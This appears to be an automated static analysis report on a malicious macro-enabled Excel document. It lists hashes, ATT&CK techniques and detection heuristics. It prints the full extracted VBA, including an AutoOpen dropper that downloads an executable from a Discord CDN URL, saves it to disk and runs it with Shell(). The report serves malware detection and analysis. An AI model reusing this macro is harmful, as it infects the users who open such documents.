Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 41a44c60bc7fd09d…

MALICIOUS

Office (OOXML)

15.8 KB Created: 2021-10-15 06:59:23 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-23
MD5: f7b928a16a27ecd5d7df7a1a42f45a74 SHA-1: dbd8cf16236246ef0ddb8571486b5c07753e008c SHA-256: 41a44c60bc7fd09dcd0b67abb7125a3989085ac30169b2ee47ac5f12063860e4
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros. The AutoOpen macro is designed to download a file from a Discord URL, save it as an executable, and then run it using Shell(). The document body contains a lure to enable content, claiming it is encrypted. The downloaded file is identified by ClamAV as 'Doc.Dropper.Agent-6412232-1'.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (filename + ".exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
         .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/557069866285137930/898396800422146058/Synapse_Minecraft.exe Referenced by macro
    • https://cdn.discordapp.com/attachments/557069866285137930/898396800422146058/Synapse_Minecraft.exe�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2204 bytes
SHA-256: 6e74966d3b0ff67eea7845aedf8cfbae9637b425ad82f49efa26b7b01f172029
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function RandomString(Length As Integer)
'PURPOSE: Create a Randomized String of Characters
'SOURCE: www.TheSpreadsheetGuru.com/the-code-vault

Dim CharacterBank As Variant
Dim x As Long
Dim str As String

'Test Length Input
  If Length < 1 Then
    MsgBox "Length variable must be greater than 0"
    Exit Function
  End If

CharacterBank = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _
  "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _
  "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "!", "@", _
  "#", "$", "%", "^", "&", "*", "A", "B", "C", "D", "E", "F", "G", "H", _
  "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", _
  "W", "X", "Y", "Z")
  

'Randomly Select Characters One-by-One
  For x = 1 To Length
    Randomize
    str = str & CharacterBank(Int((UBound(CharacterBank) - LBound(CharacterBank) + 1) * Rnd + LBound(CharacterBank)))
  Next x

'Output Randomly Generated String
  RandomString = str

End Function

Sub AutoOpen()
    Dim filename
    filename = RandomString(5)
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "https://cdn.discordapp.com/attachments/557069866285137930/898396800422146058/Synapse_Minecraft.exe", False
    xHttp.Send
    
    With bStrm
     .Type = 1 '//binary
     .Open
     .write xHttp.responseBody
     .savetofile filename + ".exe", 2 '//overwrite
    End With
    
    Shell (filename + ".exe")
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 725d5766e71cb396da754c4629932f2387ef40c68f4feadbdf9868b87789803a
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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